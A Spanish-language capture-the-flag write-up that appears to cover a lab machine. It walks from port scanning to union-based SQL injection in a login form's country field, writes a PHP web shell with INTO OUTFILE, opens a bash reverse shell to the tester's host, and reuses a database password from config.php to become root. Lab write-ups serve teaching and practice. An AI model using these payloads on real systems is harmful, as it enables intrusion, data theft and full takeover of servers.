Máquina Easy, en la que encontramos un SQLi, gracias a esto conseguimos escribir una webshell en el servidor consiguiendo un RCE, por último, encontramos unas credenciales en un archivo de configuración que sirven para el usuario root.
Recopilación de Información
Primero vamos a comprobar la conectividad con la máquina.
1
2
3
4
5
6
7
❯ ping -c 1 10.129.97.4
PING 10.129.97.4 (10.129.97.4) 56(84) bytes of data.
64 bytes from 10.129.97.4: icmp_seq=1 ttl=63 time=31.0 ms
--- 10.129.97.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 31.015/31.015/31.015/0.000 ms
En la salida del comando anterior se puede ver un parámetro llamado ttl
, gracias a este parámetro podemos saber que sistema operativo está corriendo en la máquina víctima.
- GNU/Linux = TTL 64
- Windows = TTL 128
En este caso, el sistema operativo que está corriendo en la máquina víctima es GNU/Linux.
Vamos a usar la herramienta nmap
para descubrir que puertos están abiertos y que servicios estan asociados a estos.
1
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.97.4 -oG allPorts
- -p- > Escanea todos los puertos (65535)
- –open > Muestra solo los puertos con un estatus “open”
- -sS > Aplica un TCP SYN Scan
- –min-rate 5000 > Indica que quiero emitir paquetes no más lentos que 5000 paquetes por segundo
- -vvv > Muestra la información en pantalla a medida que se descubre
- -n > Indica que no aplique resolución DNS
- -Pn > Indica que no aplique el protocolo ARP
- 10.129.97.4 > Dirección IP que se quiere escanear
- -oG allPorts > Exporta el output a un fichero grepeable con nombre “allPorts”
Este sería el output del escaneo:
1
2
3
4
5
6
7
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-01 01:30 CEST
Scanning 10.129.97.4 [65535 ports]
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
4566/tcp open kwtc syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
Ahora vamos a realizar un escaneo más profundo, también con nmap
pero esta vez solamente lanzaremos scripts básicos de enumeración y analizaremos la versión de los puertos abiertos obtenidos anteriormente.
1
❯ nmap -p22,80,4566,8080 -sC -sV 10.129.97.4 -oN targeted
- -p22,80,4566,8080 > Indica los puertos que se quieren escanear
- -sC > Lanza scripts básicos de enumeración
- -sV > Enumera la versión y servicio que está corriendo en los puertos
- 10.129.97.4 > Dirección IP que se quiere escanear
- -oN targeted > Exporta el output a un fichero en formato nmap con nombre “targeted”
Este sería el output del escaneo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-01 01:33 CEST
Nmap scan report for 10.129.97.4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.48 (Debian)
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Los puertos abiertos y sus servicios asocidados son:
- 22/tcp > ssh
- 80/tcp > http
- 4566/tcp > http
- 8080/tcp > http
Empezaremos enumerando las tecnologías que está utilizando la página. Esto lo podemos hacer utilizando un plugin del navegador llamadado Wappalyzer
o utilizando la herramienta whatweb
. Al ser varios servicios http vamos a usar un one-liner para evaluarlos de una vez.
1
❯ for port in $(cat targeted | grep http | grep -oP '\d{1,5}/tcp' | cut -d "/" -f 1 ); do echo "\n[*] Puerto $port:"; whatweb http://10.129.97.4:$port; done
1
2
3
4
5
6
7
8
9
[*] Puerto 80:
http://10.129.97.4:80 [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[10.129.97.4], JQuery, PHP[7.4.23], Script, X-Powered-By[PHP/7.4.23]
[*] Puerto 4566:
http://10.129.97.4:4566 [403 Forbidden] Country[RESERVED][ZZ], HTTPServer[nginx], IP[10.129.97.4], Title[403 Forbidden], nginx
[*] Puerto 8080:
http://10.129.97.4:8080 [502 Bad Gateway] Country[RESERVED][ZZ], HTTPServer[nginx], IP[10.129.97.4], Title[502 Bad Gateway], nginx
El nginx del puerto 4566 nos da un código de estado 403 y el nginx del puerto 8080 nos da un código de estado 502, por lo que solamente vamos a poder interactuar con el sevicio web del puerto 80.
Ahora podríamos intentar hacer un reconocimiento de rutas con dirsearch
, Utilizaremos fuerza bruta para enumerar rutas potenciales.
1
❯ dirsearch -u http://10.129.97.4/ -x 403
- -u http://10.129.97.4/ > Indica la url a la que se le van a hacer las peticiones
- -x 403 > Oculta las peticiones con un código de estado
Las rutas que hemos hallado son los siguientes:
1
2
3
4
5
6
7
8
9
Target: http://10.129.97.4/
[01:59:09] Starting:
[01:59:10] 301 - 307B - /js -> http://10.129.97.4/js/
[01:59:20] 200 - 16B - /account.php
[01:59:33] 200 - 0B - /config.php
[01:59:35] 301 - 308B - /css -> http://10.129.97.4/css/
[01:59:41] 200 - 16KB - /index.php
[01:59:41] 200 - 16KB - /index.php/login/
No tenemos nada demasiado interesante de momento.
Busqueda de vulnerabilidades
Vamos a ver como es la web.
Página Web
Parece ser que podemos entrar usando un nombre y un país. Vamos a probar si el campo del nombre es vulnerable.
XSS
XSS
Vemos que es el vulnerable a un XSS, sin embargo, esto no nos es útil ya que no tenemos a quién robarle la cookie para luego iniciar sesión. Probemos una inyección SQL.
Prueba SQLi
Prueba SQLi
Vemos que no estamos provocando ningun error en la query SQL por lo que deducimos que no es vulnerable a una inyección SQL. Pero solamente la hemos probado en el campo del nombre, por lo que aún nos falta probarla en el campo del país, para ello utilizaremos burpsuite
Vamos a capturar la petición de tipo POST que enviamos al entrar usando un usario y el país, posteriormente la vamos a enviar al repeater para poder jugar con ella.
Interceptando la petición
Ahora, con la petición ya en el repeater intentemos comprobar si podemos conseguir una inyección SQL en el campo del país colocando una comilla simple.
Comprobando inyección SQL
Como sospechabamos, tenemos una inyección SQL en el campo del país.
Explotación
Más o menos podemos llegar a intuir como es la query que se manda, tiene que tener un aspecto parecido al siguiente.
1
SELECT username from uhc where country = ['input usuario'];
Como hemos visto antes el campo del país es vulnerable a una inyección SQL, usaremos un tipo inyección SQL llamada Union Based
la query maliciosa quedaría así:
1
SELECT username from uhc where country = 'Brazil' UNION SELECT 1-- -';
Las inyecciones SQL de tipo Union Based
nos permiten crear una consulta dentro de la consulta principal, agregando los resultados de la nuestra a la principal. Para ello necesitaremos poner el mismo número de campos en la consulta UNION como tenga la tabla, si no hacemos esto la consulta nos generará un error.
Para conseguirlo utilizaremos la orden order by
seguido del número de campos que queramos probar, lo que tendremos que hacer es ir variando el número hasta encontrar cual no nos da error y que el siguente si nos lo de.
1
username=xdann1&country=Brazil' ORDER BY 1-- -
Vemos que la tabla cuenta solo con un campo, sabiendo esto ya nos podemos poner manos a la obra. Lo primero que haremos será sacar el nombre de la base de datos, la versión y el usuario que está corriendola. Como solo tenemos un campo con el que operar tendremos que recurrir a concatenar con la orden concat. (0x20 significa el caracter espacio en hexadecimal)
1
username=xdann1&country=Brazil' UNION SELECT CONCAT(user(),0x20,database(),0x20,@@version)-- -
- Usuario > uhc@localhost
- Base de datos > registration
- Versión > 10.5.11-MariaDB-1
Empezemos buscando que bases de datos existen.
1
username=xdann1&country=Brazil' UNION SELECT schema_name FROM information_schema.schemata-- -
- Bases de datos existentes > information_schema, performance_schema, mysql y registration
Ahora vamos a sacar las tablas existentes en la base de datos registration.
1
username=xdann1&country=Brazil' UNION SELECT table_name FROM information_schema.tables where table_schema="registration"-- -
- Tablas existentes en la base de datos registration > registration
Saquemos las columnas de la tabla registration.
1
username=xdann1&country=Brazil' UNION SELECT column_name FROM information_schema.columns WHERE table_schema="registration" AND table_name="registration"-- -
- Columnas de la tabla registration > username, userhash, country y regtime
Vamos a sacar toda la información contenida de las columnas username y userhash.
1
username=xdann1&country=Brazil' UNION SELECT CONCAT(username,0x3a,userhash) FROM registration.registration-- -
1
2
xdann1:c2b5b685495dbbf7ea7d9539d8150f7b
xdann1':aed18eeb555ae4135a0fab179b34a001
Hemos obtenido los nombres y los hashes de los usuarios, pero no de otros usuarios, sino de los nuestros. Cosas que pasan… Aun así podemos probar otras cosas, por ejemplo, podemos intentar ver si el usuario que está corriendo la base de datos tiene permisos de escritura, si fuera así podríamos subir una web shell que nos de acceso a la máquina víctima.
Para poder escribir archivos del lado del servidor necesitamos tres cosas:
- Usuario con privilegio
FILE
habilitado - Variable
secure_file_priv
no habilitada - Acceso de escritura en la ubicación en la que queramos escribir.
Vamos a comprobar que privilegios tiene otorgado nuestro usuario.
1
username=xdann1&country=Brazil' UNION SELECT CONCAT(grantee,0x3a,privilege_type) FROM information_schema.user_privileges WHERE grantee="'uhc'@'localhost'" AND privilege_type="FILE"-- -
- ‘uhc’@’localhost’:FILE
Ya sabemos que contamos con los privilegios necesarios, ahora vamos a ver si la variable secure_file_priv
está activada. Esta variable se utiliza para determinar desde donde podemos leer/escribir archivos. Un valor vacío en esta variable nos indica que podemos leer/escribir en todo el sistema de archivos. MariaDB trae esta variable con un valor vacío por defecto, igualmente vamos a revisar su valor.
1
username=xdann1&country=Brazil' UNION SELECT CONCAT(variable_name,0x3a,variable_value) FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -
- secure_file_priv:””
Ya hemos comprobado que cumplimos con todos los requisitos para poder escribir archivos del lado del servidor. Suponiendo que la web se esté alojando en la ruta del sistema /var/www/html
subiremos en esa ruta la web shell.
1
username=xdann1&country=Brazil' UNION SELECT "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/WebShell.php"-- -
Web shell
Vamos a mandarnos una reverse shell hacia nuestro equipo para trabajar más comodamente. Lo primero de todo, es ponernos en escucha con netcat
.
1
2
❯ nc -nlvp 443
listening on [any] 443 ...
Ya estando en escucha introducimos el siguiente comando en la web shell, es IMPORTANTE que lo introduzcamos codificado en url. Podemos utilizar páginas web como esta o herramientas como urlencode
.
1
bash -c "bash -i >& /dev/tcp/10.10.14.16/443 0>&1"
Ya hemos establecido la reverse shell, ahora vamos a tratarla para hacerla completamente funcional.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nc -nlvp 443
listening on [any] 443 ...
Connection from 10.129.97.4:53268
❯ script /dev/null -c bash
Script started, file is /dev/null
❯ CTRL + Z
[1]+ Detenido nc -nlvp 443
❯ stty raw -echo; fg
nc -nlvp 443
reset
reset: unknow terminal type unknown
Terminal type? xterm
❯ export SHELL=bash
❯ export TERM=xterm
❯ stty rows 42 columns 174
Post-explotación
Lo primero, vamos a leer la flag del usuario.
1
2
❯ cat user.txt
64f93146bf458bb8****************
Vemos varios archivos en el directorio en el que se aloja la web, uno de ellos nos llama especialmente la atención, el archivo config.php
. Lo leemos y encontramos unas credenciales que parecen ser del usuario uhc
.
1
2
3
4
5
6
7
8
9
❯ cat config.php
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Vamos a intentar convertirnos en el usuario uhc
.
1
2
❯ su uhc
su: user uhc does not exist or the user entry does not contain all the required fields
Nos dice que el usuario uhc
no existe, vamos a comprobarlo nosotros mismos.
1
❯ cat /etc/passwd | grep uhc
No nos da ningun output por lo que corroboramos que no existe el usuario uhc
, intentemos probar la contraseña encontrada con el usuaro root
.
1
2
3
4
5
6
❯ su root
Password:
❯ whoami
root
❯ cat /root/root.txt
79e15433aa1884bb****************